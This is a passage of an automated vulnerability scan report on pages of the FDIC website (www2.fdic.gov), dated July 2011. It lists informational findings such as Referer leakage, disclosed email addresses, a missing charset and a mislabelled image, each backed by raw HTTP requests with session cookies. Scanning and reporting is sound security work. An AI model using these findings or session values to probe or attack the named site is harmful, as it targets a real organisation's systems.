       window.top.header.document.OptionChange.action = strAction;
       window.top.header.document.OptionChange.submit();
   }

   function download_csv_submit()
   {
       var strAction = window.top.header.document.OptionChange.action;
       var pos = strAction.indexOf("_csv.asp");
       if (pos == -1) {
           strAction = strAction.substring(0, strAction.indexOf(".asp")) + "_csv.asp";
       }
       window.top.header.document.OptionChange.action = strAction;
       window.top.header.document.OptionChange.submit();
   }

   function printpage()
   {
       printwindow=window.op
...[SNIP]...

Request 2

POST /idasp/rpt_Financial.asp HTTP/1.1
Host: www2.fdic.gov
Proxy-Connection: keep-alive
Content-Length: 164
Cache-Control: max-age=0
Origin: http://www2.fdic.gov
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SetCookie=OK; ASPSESSIONIDSSTAADSD=PIDAPMFDIPGFBDGMECDLBLEI

ReportFunction=Inst&demodte=&compareIndicator=&ReportName=10&ReportType=&ReportDate1=3%2F31%2F2011&ReportDate2=3%2F31%2F2010&Qtr1=DRSYTDVariable&Qtr2=DRSYTDVariable

Response 2

HTTP/1.1 200 OK
Date: Fri, 08 Jul 2011 17:01:16 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 191
Content-Type: text/html
Cache-control: private



           <script language="javascript1.2">
               top.document.location.replace("bookmarkError.asp?From=rpt_financial.asp&http_referer=");
           </script>

3. Cross-domain Referer leakage previous next
There are 2 instances of this issue:

/idasp/Header-report.asp
/idasp/frm_bhc.asp

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

3.1. http://www2.fdic.gov/idasp/Header-report.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www2.fdic.gov
Path:	/idasp/Header-report.asp

Issue detail

The page was loaded from a URL containing a query string:

http://www2.fdic.gov/idasp/Header-report.asp?ReportName=10&ReportDate1=3/31/2011&ReportDate2=3/31/2010&ReportFunction=Inst

The response contains the following link to another domain:

http://service.govdelivery.com/service/multi_subscribe.html?code=USFDIC

Request

GET /idasp/Header-report.asp?ReportName=10&ReportDate1=3/31/2011&ReportDate2=3/31/2010&ReportFunction=Inst HTTP/1.1
Host: www2.fdic.gov
Proxy-Connection: keep-alive
Referer: http://www2.fdic.gov/idasp/StruReportNew.asp?inCert1=35489&ReportName=10&From=EzFind
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SetCookie=OK; ASPSESSIONIDSSTAADSD=PIDAPMFDIPGFBDGMECDLBLEI

Response

HTTP/1.1 200 OK
Date: Fri, 08 Jul 2011 17:00:35 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 29087
Content-Type: text/html
Cache-control: private



<html>

<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<title>FDIC: Report Header</title>
<script language="JavaScrip
...[SNIP]...
<li><a target="_parent" href="http://service.govdelivery.com/service/multi_subscribe.html?code=USFDIC"><img src="/header/images/web2/subscribe.png" alt="Subscribe" title="Subscribe" height="14px"/>
...[SNIP]...

3.2. http://www2.fdic.gov/idasp/frm_bhc.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www2.fdic.gov
Path:	/idasp/frm_bhc.asp

Issue detail

The page was loaded from a URL containing a query string:

http://www2.fdic.gov/idasp/frm_bhc.asp?sCurrentPg=Find%20Bank%20Holding%20Companies

The response contains the following links to other domains:

http://www.fdicoig.gov/
http://www.ffiec.gov/nicpubweb/nicweb/nichome.aspx
http://www.usa.gov/

Request

Response

HTTP/1.1 200 OK
Date: Fri, 08 Jul 2011 17:00:51 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 20312
Content-Type: text/html
Expires: Fri, 08 Jul 2011 17:00:51 GMT
Cache-control: private



<html>
<head>
<title>FDIC: BHC Search Form</title>
</head>

<script language="javascript1.2">
<!--
//-----------------------------------------------
...[SNIP]...
</b> bank holding company information can be found by visiting the website of the
<a href="http://www.ffiec.gov/nicpubweb/nicweb/nichome.aspx" target="_blank">Federal Reserve System . National Information Center</a>
...[SNIP]...
<li><a target="_parent" href="http://www.usa.gov/" title="USA.gov">USA.gov</a>
...[SNIP]...
<li><a target="_parent" href="http://www.fdicoig.gov/" title="FDIC Office of Inspector General">FDIC Office of Inspector General</a>
...[SNIP]...

4. Email addresses disclosed previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www2.fdic.gov
Path:	/favicon.ico

Issue detail

The following email addresses were disclosed in the response:

Insert_Content_Email_Address@fdic.gov
webmaster@fdic.gov

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).

Request

GET /favicon.ico HTTP/1.1
Host: www2.fdic.gov
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDSSTAADSD=PIDAPMFDIPGFBDGMECDLBLEI

Response

HTTP/1.1 404 Not Found
Content-Length: 12231
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Fri, 08 Jul 2011 17:00:47 GMT

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>

...[SNIP]...

...[SNIP]...
<a href="mailto:webmaster@fdic.gov">webmaster@fdic.gov</a>
...[SNIP]...

5. HTML does not specify charset previous next
There are 3 instances of this issue:

/idasp/StruReportNew.asp
/idasp/frm_bhc.asp
/idasp/rpt_Financial.asp

Issue description

If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.

In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.

5.1. http://www2.fdic.gov/idasp/StruReportNew.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www2.fdic.gov
Path:	/idasp/StruReportNew.asp

Request

GET /idasp/StruReportNew.asp?inCert1=35489&ReportName=10&From=EzFind HTTP/1.1
Host: www2.fdic.gov
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Connection: close
Date: Fri, 08 Jul 2011 17:00:35 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Type: text/html
Set-Cookie: SetCookie=OK; path=/idasp
Cache-control: private



   <html>
   <head>
   <title>FDIC: Institution Directory</title>
   </head>
   <frameset id='myFrameset' frameborder='0' border='0' framespacing='0' rows='162,
...[SNIP]...

5.2. http://www2.fdic.gov/idasp/frm_bhc.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www2.fdic.gov
Path:	/idasp/frm_bhc.asp

Request

Response

5.3. http://www2.fdic.gov/idasp/rpt_Financial.asp previous

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www2.fdic.gov
Path:	/idasp/rpt_Financial.asp

Request

POST /idasp/rpt_Financial.asp HTTP/1.1
Host: www2.fdic.gov
Proxy-Connection: keep-alive
Referer: http://www2.fdic.gov/idasp/Header-report.asp?ReportName=10&ReportDate1=3/31/2011&ReportDate2=3/31/2010&ReportFunction=Inst
Content-Length: 164
Cache-Control: max-age=0
Origin: http://www2.fdic.gov
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SetCookie=OK; ASPSESSIONIDSSTAADSD=PIDAPMFDIPGFBDGMECDLBLEI

ReportFunction=Inst&demodte=&compareIndicator=&ReportName=10&ReportType=&ReportDate1=3%2F31%2F2011&ReportDate2=3%2F31%2F2010&Qtr1=DRSYTDVariable&Qtr2=DRSYTDVariable

Response

6. Content type incorrectly stated previous

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www2.fdic.gov
Path:	/idasp/images/Menu_Bottom.png

Issue detail

The response contains the following Content-type statement:

Content-Type: image/png

The response states that it contains a PNG image. However, it actually appears to contain a JPEG image.

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

Request

GET /idasp/images/Menu_Bottom.png HTTP/1.1
Host: www2.fdic.gov
Proxy-Connection: keep-alive
Referer: http://www2.fdic.gov/idasp/Header-report.asp?ReportName=10&ReportDate1=3/31/2011&ReportDate2=3/31/2010&ReportFunction=Inst
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SetCookie=OK; ASPSESSIONIDSSTAADSD=PIDAPMFDIPGFBDGMECDLBLEI

Response

HTTP/1.1 200 OK
Content-Length: 8675
Content-Type: image/png
Last-Modified: Thu, 21 Oct 2010 21:39:04 GMT
Accept-Ranges: bytes
ETag: "6aa2fe616871cb1:4a5a"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Fri, 08 Jul 2011 17:00:45 GMT

......JFIF.....H.H......Exif..MM.*.............................b...........j.(...........1.........r.2...........i.................G.......G....Adobe Photoshop 7.0.2010:10:21 12:17:14.................
...[SNIP]...

Report generated by XSS.CX at Sat Jul 09 06:52:02 CDT 2011.